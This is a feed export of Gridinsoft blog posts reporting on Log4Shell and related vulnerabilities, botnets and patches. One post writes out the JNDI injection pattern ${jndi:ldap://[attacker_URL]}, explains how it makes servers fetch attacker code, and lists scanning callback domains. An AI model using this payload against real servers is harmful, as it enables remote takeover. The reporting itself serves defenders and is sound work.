Log4Shell Archives – Gridinsoft Blog https://gridinsoft.com/blogs/tag/log4shell/ Welcome to the Gridinsoft Blog, where we share posts about security solutions to keep you, your family and business safe. Fri, 02 Feb 2024 15:33:00 +0000 en-US hourly 1 https://wordpress.org/?v=77478 200474804 New FritzFrog Botnet Sample Exploits Log4Shell and PwnKit https://gridinsoft.com/blogs/fritzfrog-botnet-exploits-log4shell-pwnkit/ https://gridinsoft.com/blogs/fritzfrog-botnet-exploits-log4shell-pwnkit/#respond Fri, 02 Feb 2024 15:33:00 +0000 https://gridinsoft.com/blogs/?p=19338 Researchers detected a new sample of FritzFrog malware, that is known for creating significant botnets. The new threat sample includes the functionality to exploit flaws in network assets, including the infamous Log4Shell vulnerability. As it turns out, even 2 years past the discovery and feverish updating, there are quite a few instances vulnerable to such… Continue reading New FritzFrog Botnet Sample Exploits Log4Shell and PwnKit

The post New FritzFrog Botnet Sample Exploits Log4Shell and PwnKit appeared first on Gridinsoft Blog.

]]>
Researchers detected a new sample of FritzFrog malware, that is known for creating significant botnets. The new threat sample includes the functionality to exploit flaws in network assets, including the infamous Log4Shell vulnerability. As it turns out, even 2 years past the discovery and feverish updating, there are quite a few instances vulnerable to such attacks.

FritzFrog Botnet is Back, Spreads with Exploitation of Web Vulnerabilities

The research from Akamai Labs uncovers a version of FritzFrog malware, armed with a set of exploitation capabilities. In the report they pay a lot of attention to its Log4Shell vulnerability exploitation, which is performed in a rather unusual manner. Upon the discovery of this flaw, all corporations were concentrated on patching main elements of the network infrastructure. At the same time, all the internal network components based off the Apache’s Log4j were mostly ignored, as they are less likely to be attacked. Well, until now.

By abusing the lack of input sanitization during logging, FritzFrog is able to make the target to execute the arbitrary code. Prior to it, malware scans for the vulnerable network assets by searching on ports 9000, 8090 and 8888. To make the vulnerable app instance execute the malicious code, malware spams it with HTTP requests with the said code injected into the request header. This way, the threat ensures that at least one command will make its way to the logs and will be further executed.

HTTP header Log4J exploit
Example of an HTTP header, sent by a malicious LDAP server. Every part of the header contains the malicious request

Aside from the Log4Shell flaw, the malware also gained the ability to exploit the PwnKit – a flaw in polkit, the privileges control utility present in the majority of Linux distributions. Abusing this flaw, FritzFrog makes itself run with highest privileges possible, shall it detect less than max privileges level assigned upon execution.

What is FritzFrog?

FritzFrog is a rather old malware sample, which has been traced since March 2020. Being a peer-to-peer botnet tool, it quickly gained a significant number of attacks. Though all this rapid success was only to cease the activity in September 2020. In December of the same year it resurrected with even more violent activity – and appears to be active ever since.

FritzFrog statistics 2020

Since its first days, it was using SSH brute forcing for self-propagation. It is actually surprising how many hosts open to Internet connections have weak login credentials even today. After the successful exploitation, FritzFrog was starting to scan thousands of other IP addresses, seeking for other weakly protected servers. Aside from self-propagation, the malware is capable of delivering other malware, providing remote access to the infected environment, and performing DDoS attacks.

Protection Against SSH-Targeting Malware

Besides having a rather unique spreading approach, FritzFrog infection vectors are nothing new. Attacking weakly protected servers through brute forcing is a several-decades-old tactic, and both of the vulnerabilities are from 2021. Patches for both flawed software packages are available – update them, and FritzFrog will have much less chances to get in, along with other software.

Methods to counteract SSH brute force are well known and easy to implement, too. Either set the instances to accept only trusted connections, or make them work on a different port. Strong passwords will add to overall security, but will not solve the server overload due to the enormous amount of login requests during a brute force attack. All security measures should work together – this makes them much more effective.

New FritzFrog Botnet Sample Exploits Log4Shell and PwnKit

The post New FritzFrog Botnet Sample Exploits Log4Shell and PwnKit appeared first on Gridinsoft Blog.

]]>
https://gridinsoft.com/blogs/fritzfrog-botnet-exploits-log4shell-pwnkit/feed/ 0 19338
OpenSSL Patches Released and Critical Vulnerability Turns Out to be Not So Critical https://gridinsoft.com/blogs/new-vulnerability-in-openssl/ https://gridinsoft.com/blogs/new-vulnerability-in-openssl/#respond Thu, 03 Nov 2022 11:04:13 +0000 https://gridinsoft.com/blogs/?p=11537 At the end of October, OpenSSL developers warned that the upcoming update to version 3.0.7 would close a critical vulnerability. Notably, this would only be the second critical bug in OpenSSL since 2016. Now that OpenSSL 3.0.7 has been officially released, it turned out that fixes were released for two serious vulnerabilities at once, and… Continue reading OpenSSL Patches Released and Critical Vulnerability Turns Out to be Not So Critical

The post OpenSSL Patches Released and Critical Vulnerability Turns Out to be Not So Critical appeared first on Gridinsoft Blog.

]]>
At the end of October, OpenSSL developers warned that the upcoming update to version 3.0.7 would close a critical vulnerability. Notably, this would only be the second critical bug in OpenSSL since 2016.

Now that OpenSSL 3.0.7 has been officially released, it turned out that fixes were released for two serious vulnerabilities at once, and the critical bug rating was revised, and it is no longer considered as such.

Version 3.0.7 fixed two vulnerabilities at once (CVE-2022-3602 and CVE-2022-3786) affecting OpenSSL versions 3.0.0 and higher (from 3.0.0 to 3.0.6).

Critical status should have been CVE-2022-3602, which is an arbitrary 4-byte stack buffer overflow that can cause crashes or lead to arbitrary code execution (RCE).

Ultimately, this vulnerability was rated high severity since according to the rules, a critical bug should affect widespread configurations, and only instances of OpenSSL 3.0 and later are vulnerable to CVE-2022-3602.

The second issue, CVE-2022-3786, can be exploited by a potential attacker through malicious email addresses and is capable of causing a denial of service through a buffer overflow.

We continue to consider these issues as serious vulnerabilities, and affected users are encouraged to install the updates as soon as possible. We are unaware of any working exploits that could lead to remote code execution, and at the time of this post, we have no evidence of exploitation of these problems.write the OpenSSL developers.

Despite the assurances of the developers, some information security experts and vendors were quick to equate the discovery of a vulnerability in OpenSSL with the sensational Log4Shell problem, discovered in 2021 in the Log4J library.

OpenSSL Patches Released and Critical Vulnerability Turns Out to be Not So Critical

Bleeping Computer notes that such a panic is premature: according to Censys, only about 7,000 systems running vulnerable versions of OpenSSL can be found on the network (among more than 1,793,000 unique hosts), and according to Shodan, there are about 16 such instances.

Cloud security company Wiz.io analysed deployments in major cloud environments (such as AWS, GCP, Azure, OCI, and Alibaba Cloud) and also reports that only 1.5% of all OpenSSL instances are affected by the latest vulnerability.

Critical vulnerability in OpenSSL

A separate page dedicated to CVE-2022-3602 and all related data was launched by well-known information security expert Marcus Hutchins. He explains that the problem occurs when validating an X.509 certificate and can be used to execute code using a malicious TLS certificate remotely. However, exploitation requires the malicious TLS certificate to be signed by a trusted CA.

Marcus Hutchins
Marcus Hutchins
Because certificate validation is typically performed on the client side, this vulnerability primarily affects clients, not servers. There is a scenario where the server can be hacked through TLS Client Authentication, which can bypass the CA signing requirement, as client certificates are not normally required to be signed in this way. Because such authentication is rare and is not enabled on most servers, the risk of exploitation for servers should be low. Given that the vulnerability is primarily client-side and requires the malicious certificate to be signed by a trusted CA (or for the user to ignore the warning), it is difficult to exploit, and I rate the likelihood of exploitation as low.Hutchins writes.

The National Cybersecurity Center of the Netherlands has already begun compiling a list of products that are either affected or not affected by the latest bug.

It is worth saying that Akamai analysts have classified Redhat Enterprise Linux 9, Ubuntu 22.04+, CentOS Stream9, Kali 2022.3, Debian 12 and Fedora 36 distributions as vulnerable. The company’s experts have already published OSQuery and YARA rules that should help security specialists detect vulnerable products.

The post OpenSSL Patches Released and Critical Vulnerability Turns Out to be Not So Critical appeared first on Gridinsoft Blog.

]]>
https://gridinsoft.com/blogs/new-vulnerability-in-openssl/feed/ 0 11537
New Vulnerability in Apache Commons Text Is Already Being Attacked by Hackers https://gridinsoft.com/blogs/vulnerability-in-apache-commons-text/ https://gridinsoft.com/blogs/vulnerability-in-apache-commons-text/#comments Mon, 24 Oct 2022 08:47:33 +0000 https://gridinsoft.com/blogs/?p=11351 According to WordPress security firm Defiant, attempts have already been made to exploit a new vulnerability in Apache Commons Text (CVE-2022-42889). Called Text4Shell and affects versions 1.5 to 1.9 of the library. Some believe that this issue could become the new Log4Shell. The issue scored 9.8 out of 10 on the CVSS vulnerability rating scale.… Continue reading New Vulnerability in Apache Commons Text Is Already Being Attacked by Hackers

The post New Vulnerability in Apache Commons Text Is Already Being Attacked by Hackers appeared first on Gridinsoft Blog.

]]>
According to WordPress security firm Defiant, attempts have already been made to exploit a new vulnerability in Apache Commons Text (CVE-2022-42889). Called Text4Shell and affects versions 1.5 to 1.9 of the library. Some believe that this issue could become the new Log4Shell. The issue scored 9.8 out of 10 on the CVSS vulnerability rating scale.

Let me remind you that we also wrote that the Chinese hack group Aquatic Panda exploits Log4Shell to hack educational institutions.

Issue CVE-2022-42889 was disclosed earlier this week. Apache Commons Text is an open-source Java library for manipulating character strings. And back in March 2022, GitHub Security Lab expert Alvaro Muñoz discovered that the library was vulnerable to an RCE vulnerability related to unreliable data handling and variable interpolation.

Alvaro Muñoz
Alvaro Muñoz

Apache Commons developers last week, with the release of version 1.10.0, where the problematic interpolators were disabled.

Since many developers and organizations use Apache Commons Text, and the vulnerability even affects versions of the library released back in 2018, some experts warned that the problem could become a new Log4Shell. As a result, CVE-2022-42889 was named Text4Shell or Act4Shell, but it soon became clear that such concerns were most likely unnecessary.

In particular, analysts from Rapid7 published their analysis of the problem. They explained that not all library versions from 1.5 to 1.9 are vulnerable, and the potential for exploitation is associated with the version of the JDK used. They also note that it is not entirely correct to compare the new vulnerability with Log4Shell.

The nature of the vulnerability is such that, unlike Log4Shell, an application will rarely use the vulnerable Commons Text component to process untrusted, potentially malicious input.Rapid7 said in a report.

The researchers tested the PoC exploits on various versions of the JDK, and it worked without warning only on versions 9.0.4, 10.0.2, and 1.8.0_341. However, it should be noted that an updated PoC exploit has already been presented that works on all vulnerable versions, and it turned out that JDK 15+ versions are also affected by the bug.

New Vulnerability in Apache Commons Text Is Already Being Attacked by Hackers

Sophos experts also agreed with colleagues’ point of view, who said that the vulnerability is dangerous, but at present, it is not as easy to use it on vulnerable servers as Log4Shell. And even Munoz himself, who discovered the bug, also explained that, despite the similarity to Log4Shell, the new vulnerability is likely to be widespread and much less dangerous.

This is also the opinion of the Apache security team, who stated that the scale of the problem is not comparable to Log4Shell, and string interpolation is a documented feature. That is, it is unlikely that applications using the library will inadvertently pass unsafe input without validation.

However, despite all these reports of specialists, Defiant analysts warned that hackers have already begun to exploit CVE-2022-42889. The company has monitored 4,000,000 sites since the issue was disclosed (October 17) and now reports that it has detected hacking attempts that originate from approximately 40 IP addresses and began on October 18. So far, it is only about intelligence.

The vast majority of queries we see use the DNS prefix and are designed to scan vulnerable installations – a successful attempt will result in the victim site sending a DNS query to the attacker’s controlled listener domain.writes Defiant.

It should also be noted that the Apache Commons Text library remains vulnerable even after updating to version 1.10.0, and the exploitation of the problem “depends on how it is used and there are no guarantees in the unsafe use of the library inside your product or a borrowed package.”

The post New Vulnerability in Apache Commons Text Is Already Being Attacked by Hackers appeared first on Gridinsoft Blog.

]]>
https://gridinsoft.com/blogs/vulnerability-in-apache-commons-text/feed/ 1 11351
Amazon Patch for Log4Shell allowed privilege escalation https://gridinsoft.com/blogs/amazon-patch-for-log4shell/ https://gridinsoft.com/blogs/amazon-patch-for-log4shell/#respond Fri, 22 Apr 2022 20:09:30 +0000 https://gridinsoft.com/blogs/?p=7496 Palo Alto Networks warns that a patch released by Amazon to protect AWS from high-profile issues in Apache Log4j, including the Log4Shell vulnerability, poses a threat to users. The patch can be used to escape the container and escalate privileges, allowing an attacker to take control of the underlying host. Let me remind you that… Continue reading Amazon Patch for Log4Shell allowed privilege escalation

The post Amazon Patch for Log4Shell allowed privilege escalation appeared first on Gridinsoft Blog.

]]>
Palo Alto Networks warns that a patch released by Amazon to protect AWS from high-profile issues in Apache Log4j, including the Log4Shell vulnerability, poses a threat to users.

The patch can be used to escape the container and escalate privileges, allowing an attacker to take control of the underlying host.

Let me remind you that in December last year, shortly after cybersecurity researchers alarmed about problems in Apache Log4j, Amazon released emergency patches that fix bugs in various environments, including servers, Kubernetes, Elastic Container Service (ECS) and Fargate. The purpose of hotpatches was to quickly fix vulnerabilities while system administrators transited their applications and services to a secure version of Log4j.

Let me also remind you that soon after the discovery of vulnerabilities, real attacks on the Log4Shell were recorded. Moreover, the experts also found out that the Chinese hack group Aquatic Panda exploits Log4Shell to hack educational institutions.

However, as Palo Alto Networks has now found out, the patches were not very successful and could, among other things, lead to the capture of other containers and client applications on the host.

In addition to containers, unprivileged processes can use a patch to elevate privileges and execute code as root.experts say.

The experts showed a video demonstrating an attack on the supply chain with the malicious container image and usage of an earlier patch. Similarly, compromised containers can be used to “escape” and take over the underlying host. Palo Alto Networks decided not to share details about this exploit yet, so that attackers could not use it.

Any process executing a binary named java – inside or outside the container – is considered a candidate for a hotpatch. There, the malicious container could include a malicious binary named java to trick the installed hotpatch into calling it with elevated privileges.the analysts say.

In the next step, elevated privileges could be used by a malicious java process to escape the container and take full control of the compromised server.

Users are advised to update to the corrected version of the hotpatch as soon as possible in order to prevent exploitation of related bugs.

The post Amazon Patch for Log4Shell allowed privilege escalation appeared first on Gridinsoft Blog.

]]>
https://gridinsoft.com/blogs/amazon-patch-for-log4shell/feed/ 0 7496
Chinese hack group Aquatic Panda exploits Log4Shell to hack educational institutions https://gridinsoft.com/blogs/aquatic-panda-group-exploits-log4shell/ https://gridinsoft.com/blogs/aquatic-panda-group-exploits-log4shell/#respond Wed, 05 Jan 2022 20:34:11 +0000 https://gridinsoft.com/blogs/?p=6861 Specialists of information security company CrowdStrike warn: the Chinese cyber-espionage hack group Aquatic Panda uses the Log4Shell vulnerabilities, with the help of which a large educational institution was compromised. Let me remind you that the CVE-2021-44228 vulnerability, also called Log4Shell and LogJam, was discovered in the popular Log4j logging library in early December. The researchers… Continue reading Chinese hack group Aquatic Panda exploits Log4Shell to hack educational institutions

The post Chinese hack group Aquatic Panda exploits Log4Shell to hack educational institutions appeared first on Gridinsoft Blog.

]]>
Specialists of information security company CrowdStrike warn: the Chinese cyber-espionage hack group Aquatic Panda uses the Log4Shell vulnerabilities, with the help of which a large educational institution was compromised.

Let me remind you that the CVE-2021-44228 vulnerability, also called Log4Shell and LogJam, was discovered in the popular Log4j logging library in early December.

The researchers report that Aquatic Panda uses a modified version of the exploit for a bug in Log4j to gain initial access to the target system and then performs various post-exploitation activities, including exploration and credential collection.

To compromise an unnamed educational institution, the hackers targeted VMware Horizon, which used the vulnerable Log4j library. The exploit used in this attack was published on GitHub on December 13, 2021.

The attackers performed a connection check using DNS lookups for a subdomain running on VMware Horizon within Apache Tomcat. The team then ran a series of Linux commands on the Windows host running the Apache Tomcat service, including those aimed at deploying malicious tools hosted on remote infrastructure.the CrowdStrike report says.

The attackers also conducted reconnaissance efforts to understand privilege levels better and learn more about the domain. Also, they attempted to interrupt a third-party endpoint threat detection and response solution.

After deploying additional scripts, the hackers tried to run PowerShell commands to extract the malware and three VBS files, which appeared to be reverse shells. In addition, Aquatic Panda made several attempts to collect credentials by performing memory dumps and preparing them for theft.

Experts write that the attacked organization was timely warned of suspicious activity and could quickly use the incident response protocol, fixing vulnerable software and preventing further development of the malicious activity.

The Aquatic Panda group has been active since at least May 2020 and typically engages in intelligence gathering and industrial espionage, targeting organizations in the government, telecommunications, and technology sectors. The group’s toolbox includes Cobalt Strike, FishMaster downloader, and njRAT.

Let me also remind you that I wrote that Log4j vulnerability threatens 35,000 Java packages, as well as that Another vulnerability found in Log4j, this time it is a denial of service.

The post Chinese hack group Aquatic Panda exploits Log4Shell to hack educational institutions appeared first on Gridinsoft Blog.

]]>
https://gridinsoft.com/blogs/aquatic-panda-group-exploits-log4shell/feed/ 0 6861
Another vulnerability found in Log4j, this time it is a denial of service https://gridinsoft.com/blogs/another-vulnerability-found-in-log4j/ https://gridinsoft.com/blogs/another-vulnerability-found-in-log4j/#respond Tue, 21 Dec 2021 22:23:39 +0000 https://gridinsoft.com/blogs/?p=6722 Log4Shell, recently discovered in the popular logging library Log4j, which is part of the Apache Logging Project, continues to get worse, as another vulnerability has been found. This time it is time a “denial of service” vulnerability. The problem was originally discovered while catching bugs on Minecraft servers, but the Log4j library is present in… Continue reading Another vulnerability found in Log4j, this time it is a denial of service

The post Another vulnerability found in Log4j, this time it is a denial of service appeared first on Gridinsoft Blog.

]]>
Log4Shell, recently discovered in the popular logging library Log4j, which is part of the Apache Logging Project, continues to get worse, as another vulnerability has been found. This time it is time a “denial of service” vulnerability.

The problem was originally discovered while catching bugs on Minecraft servers, but the Log4j library is present in almost all corporate applications and Java servers. For example, it can be found in almost all enterprise products released by the Apache Software Foundation, including Apache Struts, Apache Flink, Apache Druid, Apache Flume, Apache Solr, Apache Kafka, Apache Dubbo. Log4j is also actively used in open-source projects such as Redis, Elasticsearch, Elastic Logstash or Hydra.

I also said that Log4j vulnerability threatens 35,000 Java packages.

Thus, companies using any of these products are also indirectly vulnerable to attacks on Log4Shell, although they may not even know about it. Information security experts immediately warned that the solutions of such giants as Apple, Amazon, Twitter, Cloudflare, Steam, Tencent, Baidu, DIDI, JD, NetEase, and probably thousands of other companies could be vulnerable to Log4Shell.

The way Log4Shell works is simple: the vulnerability forces Java-based applications and servers that use the Log4j library to log a specific string. When an application or server processes such logs, a string can cause the vulnerable system to load and run a malicious script from the attacker’s controlled domain. The result will be a complete hijacking of the vulnerable application or server, and the attack can develop further.the experts said.

It was previously revealed that the first patch for the original problem CVE-2021-44228 (version 2.15) only introduced a new RCE vulnerability CVE-2021-45046 to Log4j, which received 9 points out of 10 on the CVSS vulnerability rating scale.

Because of this, administrators were strongly advised to use only the current version 2.16 and follow further developments on the Log4j update page. The fact is that in Log4j version 2.15, two more less dangerous vulnerabilities were found (CVE-2021-4104 and CVE-2021-42550), which were also eliminated only with the release of version 2.16.

Unfortunately, version 2.16 didn’t last long either. Last weekend, Log4j version 2.17 was released, as a serious denial of service (DoS) issue was detected in the last release, which received the identifier CVE-2021-45105 (7.5 on the CVSS scale). The bug is related to the fact that Log4j does not always protect against infinite recursion during lookup evaluation.

At the same time, experts urge not to panic and not to rush to abandon the use of Log4j at all.

It shouldn’t come as a surprise that additional vulnerabilities are being discovered in Log4j, given the increased focus on the library. Likewise, the discovery of a PrintNightmare vulnerability over the summer resulted in the discovery of many additional individual issues. The discovery of additional vulnerabilities in Log4j should not raise concerns about the security of the library itself. In fact, Log4j is more secure because of the extra attention that researchers are giving to it.commented Jake Williams, CTO and co-founder of BreachQuest

The post Another vulnerability found in Log4j, this time it is a denial of service appeared first on Gridinsoft Blog.

]]>
https://gridinsoft.com/blogs/another-vulnerability-found-in-log4j/feed/ 0 6722
Experts are already fixing attacks on the Log4Shell vulnerability https://gridinsoft.com/blogs/attacks-on-the-log4shell-vulnerability/ https://gridinsoft.com/blogs/attacks-on-the-log4shell-vulnerability/#respond Tue, 14 Dec 2021 20:44:48 +0000 https://gridinsoft.com/blogs/?p=6649 Security researchers are already scanning the network looking for products affected by a dangerous bug in the Log4j library and are fixing the results of cybercriminals’ attacks on a Log4Shell vulnerability. The vulnerability is already being exploited to deploy miners, Cobalt Strike beacons, etc. An issue in the popular Log4j logging library included in the… Continue reading Experts are already fixing attacks on the Log4Shell vulnerability

The post Experts are already fixing attacks on the Log4Shell vulnerability appeared first on Gridinsoft Blog.

]]>
Security researchers are already scanning the network looking for products affected by a dangerous bug in the Log4j library and are fixing the results of cybercriminals’ attacks on a Log4Shell vulnerability.

The vulnerability is already being exploited to deploy miners, Cobalt Strike beacons, etc.

An issue in the popular Log4j logging library included in the Apache Logging Project was reported last week. The 0-day vulnerability received the identifier CVE-2021-44228 and scored 10 out of 10 points on the CVSS vulnerability rating scale, as it allows remote arbitrary code execution (RCE).

The problem is aggravated by the fact that PoC exploits have already appeared on the network, and the vulnerability can be exploited remotely, which does not require advanced technical skills.

The vulnerability forces Java-based applications and servers that use the Log4j library to log a specific line to their internal systems. When an application or server processes such logs, a string can cause the vulnerable system to load and run a malicious script from the domain controlled by the attacker. The result will be a complete hijacking of the vulnerable application or server.

Let me remind you that the patch has already been released as part of the 2.15.0 release.

The attacks on Log4Shell have already begun, Bleeping Computer now reports. The publication says that to exploit the bug. An attacker can change the user agent of his browser and visit a specific site or search for a string on the site using the format ${jndi:ldap://[attacker_URL]}.

This will eventually add a line to the web server’s access logs, and when the Log4j application parses these logs and finds the line, an error will force the server to execute a callback or request the URL specified in the JNDI line. Attackers can then use this URL to send commands to the vulnerable device (either Base64 encoded or Java classes).

Worse, simple pushing of a connection can be used to determine if a remote server is vulnerable to Log4Shell.

It is reported that attackers are already using Log4Shell to execute shell scripts that download and install various miners. In particular, the hackers behind the Kinsing malware and the botnet of the same name actively abuse the Log4j bug and use Base64 payloads that force the vulnerable server to download and execute shell scripts. The script removes the competing malware from the vulnerable device and then downloads and installs the Kinsing malware, which will start mining the cryptocurrency.
attacks on the Log4Shell vulnerability
In turn, Chinese experts from Netlab 360 warn that the vulnerability is being used to install Mirai and Muhstik malware on vulnerable devices. These IoT threats make vulnerable devices part of botnets, use them to extract cryptocurrency, and conduct large-scale DDoS attacks.

We received the first responses from our Anglerfish and Apacket honeypots, which recorded two waves of attacks using the Log4j vulnerability to form botnets. A quick sample analysis showed that they were used to form the Muhstik and Mirai botnets. That is, in both cases, they were aimed at Linux devices.the experts say.

According to Microsoft analysts, a vulnerability in Log4j is also used to drop Cobalt Strike beacons. Initially, Cobalt Strike is a legitimate commercial tool created for pen-testers and red teams focused on exploitation and post-exploitation. Unfortunately, it has long been loved by hackers, from government APT groups to ransomware operators.

So far, there is no evidence to guarantee that the ransomware has adopted an exploit for Log4j. Still, according to experts, deploying Cobalt Strike beacons indicates that such attacks are inevitable.

Also, in addition to using Log4Shell to install various malware, attackers use the problem to scan vulnerable servers and obtain information from them. For example, the exploit shown below can force vulnerable servers to access URLs or perform DNS lookups for callback domains. This allows information security specialists and hackers to determine if a server is vulnerable and use it for future attacks, research, or trying to get a bug bounty from its owners.

Journalists are concerned that some researchers may go too far by using an exploit to steal environment variables that contain server data, including the hostname, username under which the Log4j service runs, OS information, and OS version number.

The most common domains and IP addresses used for these scans are:

  • interactsh.com
  • burpcollaborator.net
  • dnslog.cn
  • bin${upper:a}ryedge.io
  • leakix.net
  • bingsearchlib.com
  • 205.185.115.217:47324
  • bingsearchlib.com:39356
  • canarytokens.com

The post Experts are already fixing attacks on the Log4Shell vulnerability appeared first on Gridinsoft Blog.

]]>
https://gridinsoft.com/blogs/attacks-on-the-log4shell-vulnerability/feed/ 0 6649
0-day In Log4j Library Poses A Threat To Many Applications & Servers https://gridinsoft.com/blogs/0-day-in-log4j-library/ https://gridinsoft.com/blogs/0-day-in-log4j-library/#respond Fri, 10 Dec 2021 19:38:13 +0000 https://gridinsoft.com/blogs/?p=6642 The Apache Software Foundation has released an emergency security update that fixes a 0-day vulnerability (CVE-2021-44228) in the popular Log4j logging library, which is part of the Apache Logging Project. The patch was released as part of the 2.15.0 release. The vulnerability was named Log4Shell and scored 10 out of 10 points on the CVSS… Continue reading 0-day In Log4j Library Poses A Threat To Many Applications & Servers

The post 0-day In Log4j Library Poses A Threat To Many Applications & Servers appeared first on Gridinsoft Blog.

]]>
The Apache Software Foundation has released an emergency security update that fixes a 0-day vulnerability (CVE-2021-44228) in the popular Log4j logging library, which is part of the Apache Logging Project.

The patch was released as part of the 2.15.0 release.

The vulnerability was named Log4Shell and scored 10 out of 10 points on the CVSS vulnerability rating scale. The bug allows remote arbitrary code execution (RCE). Yesterday’s information security researcher aggravated the problem, p0rz9 published a PoC exploit on Twitter, and the vulnerability can be exploited remotely, and this does not require special technical skills.

The vulnerability forces Java-based applications and servers that use the Log4j library to log a specific line to their internal systems. When an application or server processes such logs, a string can cause the vulnerable system to load and run a malicious script from the attacker’s controlled domain, the result will be a complete hijacking of the vulnerable application or server.LunaSec specialists describe how Log4Shell works.

The problem was originally discovered while searching for bugs on Minecraft servers, but Log4j is present in almost all corporate applications and Java servers. For example, the library can be found in almost all enterprise products the Apache Software Foundation released, including Apache Struts, Apache Flink, Apache Druid, Apache Flume, Apache Solr, Apache Flink, Apache Kafka, Apache Dubbo, and so on. Log4j is also actively used in various open-source projects, including Redis, ElasticSearch, Elastic Logstash, Ghidra, and others.

Thus, companies using any of these products are also indirectly vulnerable to attacks on Log4Shell, but may even know about it. Information security specialists already report that solutions of giants like Apple, Amazon, Twitter, Cloudflare, Steam, Tencent, Baidu, DIDI, JD, NetEase, and probably thousands of other companies may be vulnerable to Log4Shell.

p0rz9 wrote that CVE-2021-44228 could only be exploited if the log4j2.formatMsgNoLookups parameter is set to false. KnownSec 404 Team reports that Log4j 2.15.0 has set this parameter to true to prevent attacks. Log4j users who have upgraded to version 2.15.0 and then set the flag to false will again be vulnerable to attacks.

Moreover, Log4j users who have not updated, but have set the flag to true, will still be able to block attacks even on older versions.

Unfortunately, this also means that all older versions are at risk, where this parameter is set to false by default. That is, all previous releases of Log4j, starting with 2.10.0, are vulnerable.

According to experts from Bad Packets and Greynoise, several cybercriminals are already scanning the network in search of applications that may be vulnerable to Log4Shell, which means that there is almost no time left to install patches.

Let me remind you that I also talked about the fact that the IIS bug with worm potential poses a threat to WinRM servers.

The post 0-day In Log4j Library Poses A Threat To Many Applications & Servers appeared first on Gridinsoft Blog.

]]>
https://gridinsoft.com/blogs/0-day-in-log4j-library/feed/ 0 6642